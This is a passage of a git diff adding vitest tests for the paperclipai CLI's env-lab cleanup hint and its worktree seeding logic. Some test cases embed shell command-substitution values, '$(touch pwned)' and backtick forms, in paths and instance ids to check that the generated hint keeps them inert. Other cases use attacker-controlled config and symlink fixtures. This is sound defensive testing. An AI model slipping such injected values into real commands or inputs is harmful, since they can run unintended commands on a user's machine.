inQuotes = true; + started = true; + } else if (character === "\\") { + index += 1; + current += command[index]; + started = true; + } else if (character === " ") { + if (started) { + tokens.push(current); + current = ""; + started = false; + } + } else { + current += character; + started = true; + } + } + if (started) { + tokens.push(current); + } + return tokens; + } + + // Return the two path arguments from the `node` command. + function extractPaths(command: string): string[] { + const tokens = tokenizePosix(command); + return tokens.slice(1, 3); + } + + it("resolves both CLI paths to absolute paths", () => { + const command = buildEnvLabCleanupCommand(); + const paths = extractPaths(command); + + expect(paths).toHaveLength(2); + for (const resolved of paths) { + expect(path.isAbsolute(resolved)).toBe(true); + } + expect(command.endsWith("env-lab down")).toBe(true); + }); + + it("points at the checked-out tsx runner and cli source entry", () => { + const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand()); + + expect(tsxBin).toContain( + path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"), + ); + expect(entry).toContain(path.join("cli", "src", "index.ts")); + }); + + it("returns the same command from a checkout subdirectory", () => { + const fromRoot = buildEnvLabCleanupCommand(); + + // Simulate a contributor who runs `env-lab doctor` from a subdirectory of + // the checkout. A relative path would change with the working directory, so + // this asserts the command stays constant. + process.chdir(path.dirname(originalCwd)); + const fromParent = buildEnvLabCleanupCommand(); + process.chdir(originalCwd); + + expect(fromParent).toBe(fromRoot); + }); + + it("never restores the unsafe pnpm invocation forms", () => { + const command = buildEnvLabCleanupCommand(); + + // The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form + // does not resolve the CLI binary. Keep both out of the hint. + expect(command).not.toContain("pnpm paperclipai"); + expect(command).not.toContain("pnpm exec paperclipai"); + }); + + // A checkout path can hold shell metacharacters. A contributor copies the hint + // and pastes it into a shell. The hint must neutralize each metacharacter, so + // the shell reads the exact path and runs no embedded command. Each case below + // is a checkout root with one dangerous construct. + const dangerousRoots = [ + { label: "a dollar sign", root: "/tmp/env$lab/checkout" }, + { label: "command substitution", root: "/tmp/$(touch pwned)/checkout" }, + { label: "backticks", root: "/tmp/`touch pwned`/checkout" }, + { label: "a double quote", root: '/tmp/env"lab/checkout' }, + { label: "a single quote", root: "/tmp/env'lab/checkout" }, + ]; + + for (const { label, root } of dangerousRoots) { + it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => { + const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) }); + const tokens = tokenizePosix(command); + const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs"); + const entry = path.join(root, "src", "index.ts"); + + // The shell reads the exact paths as single argument tokens. It does not + // split the paths or run the embedded construct. + expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]); + + // The old double-quoted form left `$(...)`, a backtick pair, and `$NAME` + // live. Do not restore it. + expect(command).not.toContain(`"${tsxBin}"`); + expect(command).not.toContain(`"${entry}"`); + }); + } + + it("forwards the inspected instance to the cleanup hint", () => { + const command = buildEnvLabCleanupCommand({ + instance: "fixture-test", + invocation: sourceInvocation("/tmp/checkout"), + }); + const tokens = tokenizePosix(command); + + // The hint ends with `--instance `, so it stops the fixture the doctor + // command diagnosed, not the default instance. + expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]); + }); + + it("omits the instance flag when the doctor command uses the default instance", () => { + const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") }); + + // Without a selected instance, `env-lab down` resolves the same default + // instance the doctor command inspected. Do not add an empty flag. + expect(command).not.toContain("--instance"); + expect(command.endsWith("env-lab down")).toBe(true); + }); + + it("keeps an instance id with shell metacharacters inert", () => { + const command = buildEnvLabCleanupCommand({ + instance: "$(touch pwned)", + invocation: sourceInvocation("/tmp/checkout"), + }); + const tokens = tokenizePosix(command); + + // The shell reads the instance id as one literal token and runs no embedded + // command. + expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]); + expect(command).not.toContain('"$(touch pwned)"'); + }); + + it("runs the bundled dist entry directly, without the tsx runner", () => { + const command = buildEnvLabCleanupCommand({ + invocation: bundledInvocation("/opt/pkg"), + }); + const tokens = tokenizePosix(command); + + // The published package ships one `dist/index.js` file and no tsx runner, so + // node runs that file directly. + expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]); + expect(command).not.toContain("tsx"); + expect(command).not.toContain(path.join("src", "index.ts")); + }); + + it("keeps a bundled package path with shell metacharacters inert", () => { + const root = "/opt/$(touch pwned)/pkg"; + const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) }); + const tokens = tokenizePosix(command); + const entry = path.join(root, "dist", "index.js"); + + // The shell reads the exact bundled path as one token and runs no embedded + // command. + expect(tokens).toEqual(["node", entry, "env-lab", "down"]); + expect(command).not.toContain(`"${entry}"`); + }); +}); + +describe("env-lab doctor cleanup hint instance", () => { + const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID; + + afterEach(() => { + if (originalInstanceId === undefined) { + delete process.env.PAPERCLIP_INSTANCE_ID; + } else { + process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId; + } + vi.restoreAllMocks(); + }); + + // Capture the cleanup hint the doctor prints. The doctor reports through + // `p.log`, so the test replaces each channel and reads the captured lines. + function captureDoctorMessages(): string[] { + const messages: string[] = []; + vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => { + messages.push(Array.isArray(message) ? message.join("\n") : (message ?? "")); + }); + vi.spyOn(p.log, "success").mockImplementation(() => {}); + vi.spyOn(p.log, "warn").mockImplementation(() => {}); + vi.spyOn(p.log, "info").mockImplementation(() => {}); + return messages; + } + + it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => { + // The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects. + // The cleanup hint must target that instance, not the default instance. + process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance"; + const messages = captureDoctorMessages(); + + await envLabDoctorCommand({ instance: undefined }); + + const cleanup = messages.find((message) => message.startsWith("Cleanup:")); + expect(cleanup).toBeDefined(); + expect(cleanup).toContain("env-lab down"); + expect(cleanup).toContain("--instance"); + expect(cleanup).toContain("env-selected-instance"); + }); + + it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => { + // An explicit `--instance` flag overrides the environment variable, so the + // hint targets the explicit instance the doctor inspected. + process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance"; + const messages = captureDoctorMessages(); + + await envLabDoctorCommand({ instance: "explicit-instance" }); + + const cleanup = messages.find((message) => message.startsWith("Cleanup:")); + expect(cleanup).toBeDefined(); + expect(cleanup).toContain("--instance"); + expect(cleanup).toContain("explicit-instance"); + expect(cleanup).not.toContain("env-selected-instance"); + }); +}); diff --git a/cli/src/__tests__/http.test.ts b/cli/src/__tests__/http.test.ts index 0829f06baa8..e0e1e61b747 100644 --- a/cli/src/__tests__/http.test.ts +++ b/cli/src/__tests__/http.test.ts @@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => { /curl http:\/\/localhost:3100\/api\/health/, ); await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow( - /pnpm dev|pnpm paperclipai run/, + /pnpm dev|npx paperclipai run/, ); }); diff --git a/cli/src/__tests__/secrets.test.ts b/cli/src/__tests__/secrets.test.ts index 295a8e5e036..8ae2a77ff5c 100644 --- a/cli/src/__tests__/secrets.test.ts +++ b/cli/src/__tests__/secrets.test.ts @@ -139,6 +139,9 @@ describe("secrets CLI helpers", () => { delete process.env.AWS_DEFAULT_REGION; delete process.env.PAPERCLIP_SECRETS_AWS_DEPLOYMENT_ID; delete process.env.PAPERCLIP_SECRETS_AWS_KMS_KEY_ID; + delete process.env.AWS_ACCESS_KEY_ID; + delete process.env.AWS_SECRET_ACCESS_KEY; + delete process.env.AWS_SESSION_TOKEN; }); afterEach(() => { diff --git a/cli/src/__tests__/worktree.test.ts b/cli/src/__tests__/worktree.test.ts index dab7f78bfd9..3e5d3444d42 100644 --- a/cli/src/__tests__/worktree.test.ts +++ b/cli/src/__tests__/worktree.test.ts @@ -8,30 +8,43 @@ import { eq } from "drizzle-orm"; import { afterEach, describe, expect, it, vi } from "vitest"; import { agents, + authAccounts, authUsers, companies, + companyMemberships, createDb, + executionWorkspaces, + inspectMigrations, issueComments, issues, + projectWorkspaces, + instanceUserRoles, projects, routines, routineTriggers, + workspaceRuntimeServices, } from "@paperclipai/db"; import { copyGitHooksToWorktreeGitDir, copySeededSecretsKey, + ensureEmbeddedPostgres, ensureWorktreeSeeded, + formatWorktreeSeedFailureDiagnostic, + inspectLegacyWorktreeDatabase, markWorktreeSeedPending, pauseSeededScheduledRoutines, quarantineSeededWorktreeExecutionState, + readWorktreeSeedManifest, readSourceAttachmentBody, rebindWorkspaceCwd, + requiresWorktreeSeedCredentialAccount, resolveSourceConfigPath, resolveWorktreeReseedSource, resolveWorktreeReseedTargetPaths, resolveGitWorktreeAddArgs, resolvePnpmInstallInvocation, resolveCurrentWorktreeEndpoint, + resolveWorktreeSeedMigrationRevision, resolveWorktreeSeedBackupEngine, resolveWorktreeMakeTargetPath, worktreeRepairCommand, @@ -61,6 +74,94 @@ const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); const itEmbeddedPostgres = embeddedPostgresSupport.supported ? it : it.skip; const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; +function mockVerifiedSeedResult() { + return { + backupSummary: "snapshot.sql", + snapshotAt: "2026-08-18T00:00:00.000Z", + migrationRevision: "0142_test.sql", + pausedScheduledRoutines: 0, + executionQuarantine: { + disabledTimerHeartbeats: 0, + resetRunningAgents: 0, + quarantinedInProgressIssues: 0, + unassignedTodoIssues: 0, + unassignedReviewIssues: 0, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, + }, + reboundWorkspaces: [], + validation: { + authUserCount: 1, + credentialAccountCount: 1, + instanceAdminCount: 1, + activeMembershipCount: 1, + companyCount: 1, + issueCount: 1, + representativeCompanyId: "00000000-0000-4000-8000-000000000001", + representativeIssueId: "00000000-0000-4000-8000-000000000002", + migrationRevision: "0142_test.sql", + }, + }; +} + +async function seedValidWorktreeSource( + connectionString: string, + options: { includeCredentialAccount?: boolean; userId?: string } = {}, +) { + const db = createDb(connectionString); + const companyId = randomUUID(); + const issueId = randomUUID(); + const userId = options.userId ?? "user-existing"; + const now = new Date(); + await db.insert(authUsers).values({ + id: userId, + email: userId === "local-board" ? "local@paperclip.local" : "existing@paperclip.ing", + name: userId === "local-board" ? "Board" : "Existing User", + emailVerified: true, + createdAt: now, + updatedAt: now, + }); + if (options.includeCredentialAccount !== false) { + await db.insert(authAccounts).values({ + id: "credential-existing", + accountId: "existing@paperclip.ing", + providerId: "credential", + userId, + password: "fixture-password-hash", + createdAt: now, + updatedAt: now, + }); + } + await db.insert(instanceUserRoles).values({ + userId, + role: "instance_admin", + }); + await db.insert(companies).values({ + id: companyId, + name: "Seed Source", + issuePrefix: "SEED", + requireBoardApprovalForNewAgents: false, + }); + await db.insert(companyMemberships).values({ + companyId, + principalType: "user", + principalId: userId, + status: "active", + }); + await db.insert(issues).values({ + id: issueId, + companyId, + title: "Representative seed issue", + status: "backlog", + priority: "medium", + issueNumber: 1, + identifier: "SEED-1", + }); + await db.$client.end({ timeout: 5 }); + return { companyId, issueId }; +} + if (!embeddedPostgresSupport.supported) { console.warn( `Skipping embedded Postgres worktree CLI tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`, @@ -397,7 +498,134 @@ describe("worktree helpers", () => { expect(full.nullifyColumns).toEqual({}); }); - it("ensure-seeded seeds once and fast-exits on the seed-complete marker", async () => { + it("requires the seed process to own the target embedded Postgres lifecycle", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-live-target-")); + try { + fs.writeFileSync( + path.join(tempRoot, "postmaster.pid"), + `${process.pid}\n${tempRoot}\n0\n55432\n`, + ); + + await expect(ensureEmbeddedPostgres(tempRoot, 55432, { allowExisting: false })) + .rejects.toThrow("while it is already running"); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("surfaces a credential-safe diagnostic when the target shuts down during restore", () => { + expect(formatWorktreeSeedFailureDiagnostic( + "restore", + new Error( + "Failed to restore seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE", + ), + )).toBe( + "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.", + ); + expect(formatWorktreeSeedFailureDiagnostic("migrations", new Error("secret connection failure"))) + .toBe("Seed failed during migrations."); + }); + + it("surfaces the missing credential artifact for authenticated seed validation", () => { + expect(formatWorktreeSeedFailureDiagnostic( + "source_validation", + new Error( + "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator.", + ), + )).toBe( + "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding.", + ); + }); + + it("requires credential accounts only for authenticated worktree seeds", () => { + expect(requiresWorktreeSeedCredentialAccount("local_trusted")).toBe(false); + expect(requiresWorktreeSeedCredentialAccount("authenticated")).toBe(true); + }); + + it("rejects a source migration journal that diverges from the code journal", () => { + expect(() => resolveWorktreeSeedMigrationRevision({ + status: "upToDate", + tableCount: 1, + availableMigrations: ["0001_initial.sql", "0002_current.sql"], + appliedMigrations: ["0001_initial.sql", "0003_unknown.sql"], + journalEntryCount: 3, + }, "sourcePrefix")).toThrow("Migration journal is not a prefix of this Paperclip checkout"); + }); + + it("accepts a current source whose migration application order differs from filename order", () => { + expect(resolveWorktreeSeedMigrationRevision({ + status: "upToDate", + tableCount: 1, + availableMigrations: [ + "0001_initial.sql", + "0002_renumbered.sql", + "0003_applied_earlier.sql", + "0004_current.sql", + ], + appliedMigrations: [ + "0001_initial.sql", + "0003_applied_earlier.sql", + "0002_renumbered.sql", + "0004_current.sql", + ], + journalEntryCount: 6, + }, "upToDate")).toBe("0004_current.sql"); + }); + + it("accepts a source migration journal that is multiple revisions behind", () => { + expect(resolveWorktreeSeedMigrationRevision({ + status: "needsMigrations", + tableCount: 1, + availableMigrations: [ + "0001_initial.sql", + "0002_applied.sql", + "0003_pending.sql", + "0004_pending.sql", + ], + appliedMigrations: ["0002_applied.sql", "0001_initial.sql"], + pendingMigrations: ["0003_pending.sql", "0004_pending.sql"], + journalEntryCount: 3, + reason: "pending-migrations", + }, "sourcePrefix")).toBe("0002_applied.sql"); + }); + + itEmbeddedPostgres("recognizes positive legacy database schema evidence", async () => { + const tempDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-legacy-evidence-"); + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-legacy-config-")); + try { + const configPath = path.join(tempRoot, "config.json"); + const sourceConfig = buildSourceConfig(); + const config: PaperclipConfig = { + ...sourceConfig, + database: { + ...sourceConfig.database, + mode: "postgres", + connectionString: tempDb.connectionString, + backup: { + ...sourceConfig.database.backup, + enabled: false, + intervalMinutes: 60, + retentionDays: 30, + dir: path.join(tempRoot, "backups"), + }, + }, + }; + fs.writeFileSync(configPath, `${JSON.stringify(config)}\n`); + fs.writeFileSync( + path.join(tempRoot, ".env"), + `PAPERCLIP_INSTANCE_ID=legacy-target\nDATABASE_URL=${JSON.stringify(tempDb.connectionString)}\n`, + ); + + await expect(inspectLegacyWorktreeDatabase(configPath)).resolves.toEqual({ + migrationRevision: expect.stringMatching(/\.sql$/), + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + await tempDb.cleanup(); + } + }, 30000); + + it("ensure-seeded seeds once and fast-exits on the verified manifest", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-")); try { const sourceConfigPath = path.join(tempRoot, "source", "config.json"); @@ -418,6 +646,7 @@ describe("worktree helpers", () => { fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); fs.writeFileSync( path.join(targetRoot, ".paperclip", ".env"), @@ -426,7 +655,7 @@ describe("worktree helpers", () => { markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); const seedDatabase = vi.fn().mockResolvedValue({ - backupSummary: "snapshot.sql", + ...mockVerifiedSeedResult(), pausedScheduledRoutines: 2, executionQuarantine: { disabledTimerHeartbeats: 1, @@ -434,16 +663,18 @@ describe("worktree helpers", () => { quarantinedInProgressIssues: 1, unassignedTodoIssues: 1, unassignedReviewIssues: 1, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, }, - reboundWorkspaces: [], }); await expect( - ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), ).resolves.toMatchObject({ seeded: true, reason: "seeded" }); await expect( ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), - ).resolves.toEqual({ seeded: false, reason: "complete_marker" }); + ).resolves.toEqual({ seeded: false, reason: "verified_manifest" }); expect(seedDatabase).toHaveBeenCalledTimes(1); expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ @@ -452,13 +683,286 @@ describe("worktree helpers", () => { instanceId: "ensure-seeded-test", })); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false); - expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(true); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + version: 2, + state: "verified", + phase: "complete", + migrationRevision: "0142_test.sql", + targetInstanceId: "ensure-seeded-test", + }); } finally { fs.rmSync(tempRoot, { recursive: true, force: true }); } }); - it("ensure-seeded keeps the pending marker when seeding fails", async () => { + it("treats an unregistered markerless config as a normal non-worktree boot", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unregistered-markerless-")); + try { + const configPath = path.join(tempRoot, "config.json"); + fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`); + delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD; + delete process.env.PAPERCLIP_PROJECT_WORKSPACE_ID; + delete process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID; + + const inspectLegacyDatabase = vi.fn(); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: configPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toEqual({ seeded: false, reason: "legacy_unmarked" }); + + expect(inspectLegacyDatabase).not.toHaveBeenCalled(); + expect(seedDatabase).not.toHaveBeenCalled(); + expect(readWorktreeSeedManifest(configPath)).toBeNull(); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("honors a legacy complete marker without resolving a seed source", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-complete-marker-")); + try { + const configPath = path.join(tempRoot, "config.json"); + fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync(path.join(tempRoot, "seed-complete"), "complete\n"); + delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD; + + const inspectLegacyDatabase = vi.fn(); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: configPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toEqual({ seeded: false, reason: "complete_marker" }); + + expect(inspectLegacyDatabase).not.toHaveBeenCalled(); + expect(seedDatabase).not.toHaveBeenCalled(); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("seeds a configured worktree with no seed markers when no legacy database is present", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-empty-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "unmarked-empty-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3194, + databasePort: 54994, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + const inspectLegacyDatabase = vi.fn().mockResolvedValue(null); + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(inspectLegacyDatabase).toHaveBeenCalledWith(targetConfigPath); + expect(seedDatabase).toHaveBeenCalledTimes(1); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + migrationRevision: "0142_test.sql", + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("adopts a markerless legacy worktree only after validating its database schema", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-legacy-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "unmarked-legacy-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3193, + databasePort: 54993, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { + inspectLegacyDatabase: vi.fn().mockResolvedValue({ migrationRevision: "0141_legacy.sql" }), + seedDatabase, + }, + )).resolves.toEqual({ seeded: false, reason: "legacy_database" }); + + expect(seedDatabase).not.toHaveBeenCalled(); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + migrationRevision: "0141_legacy.sql", + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("managed ensure-seeded derives a valid source from the registered base workspace", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-managed-seed-")); + try { + const baseRoot = path.join(tempRoot, "base"); + const sourceConfigPath = path.join(baseRoot, ".paperclip", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "managed-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3195, + databasePort: 54995, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=managed-source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=managed-target\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded({ + config: targetConfigPath, + registeredBaseWorkspaceCwd: baseRoot, + registeredProjectWorkspaceId: "project-workspace-1", + expectedCompanyId: "company-1", + }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ + sourceConfigPath, + expectedCompanyId: "company-1", + })); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it.each(["sibling", "foreign_instance", "symlink", "instance_mismatch"] as const)( + "managed ensure-seeded re-derives a stale %s manifest source from registration", + async (variant) => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), `paperclip-worktree-managed-${variant}-`)); + try { + const baseRoot = path.join(tempRoot, "base"); + const canonicalSource = path.join(baseRoot, ".paperclip", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const attackerRoot = path.join(tempRoot, variant); + const attackerConfig = path.join(attackerRoot, "config.json"); + fs.mkdirSync(path.dirname(canonicalSource), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.mkdirSync(attackerRoot, { recursive: true }); + fs.writeFileSync(canonicalSource, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync(path.join(path.dirname(canonicalSource), ".env"), "PAPERCLIP_INSTANCE_ID=registered-source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), ".env"), + `PAPERCLIP_HOME=${path.join(tempRoot, "worktree-home")}\nPAPERCLIP_INSTANCE_ID=managed-target\n`, + ); + fs.writeFileSync(attackerConfig, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync( + path.join(attackerRoot, ".env"), + `PAPERCLIP_INSTANCE_ID=${variant === "foreign_instance" ? "foreign" : "registered-source"}\n`, + ); + const diagnosticPath = variant === "instance_mismatch" + ? canonicalSource + : variant === "symlink" + ? path.join(attackerRoot, "source-link.json") + : attackerConfig; + if (variant === "symlink") fs.symlinkSync(canonicalSource, diagnosticPath); + markWorktreeSeedPending({ + configPath: targetConfigPath, + sourceConfigPath: diagnosticPath, + targetInstanceId: "managed-target", + }); + if (variant === "instance_mismatch") { + const manifest = readWorktreeSeedManifest(targetConfigPath)!; + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), "seed-manifest.json"), + JSON.stringify({ ...manifest, source: { ...manifest.source, instanceId: "foreign" } }), + ); + } + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded({ + config: targetConfigPath, + registeredBaseWorkspaceCwd: baseRoot, + registeredProjectWorkspaceId: "project-workspace-1", + expectedCompanyId: "company-1", + }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ + sourceConfigPath: canonicalSource, + expectedCompanyId: "company-1", + })); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + source: { + configPath: canonicalSource, + instanceId: "registered-source", + }, + state: "verified", + diagnostics: expect.arrayContaining([ + expect.objectContaining({ + message: "Re-derived seed source diagnostics from the registered canonical source.", + }), + ]), + }); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }, + ); + + it("ensure-seeded records a target shutdown diagnostic when restore fails", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-failure-")); try { const sourceConfigPath = path.join(tempRoot, "source", "config.json"); @@ -479,6 +983,7 @@ describe("worktree helpers", () => { fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); fs.writeFileSync( path.join(targetRoot, ".paperclip", ".env"), @@ -488,12 +993,31 @@ describe("worktree helpers", () => { await expect( ensureWorktreeSeeded( - { config: targetConfigPath }, - { seedDatabase: vi.fn().mockRejectedValue(new Error("seed failed")) }, + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { + seedDatabase: vi.fn(async (input) => { + input.onPhase?.("restore", "started"); + throw new Error( + "Failed to restore 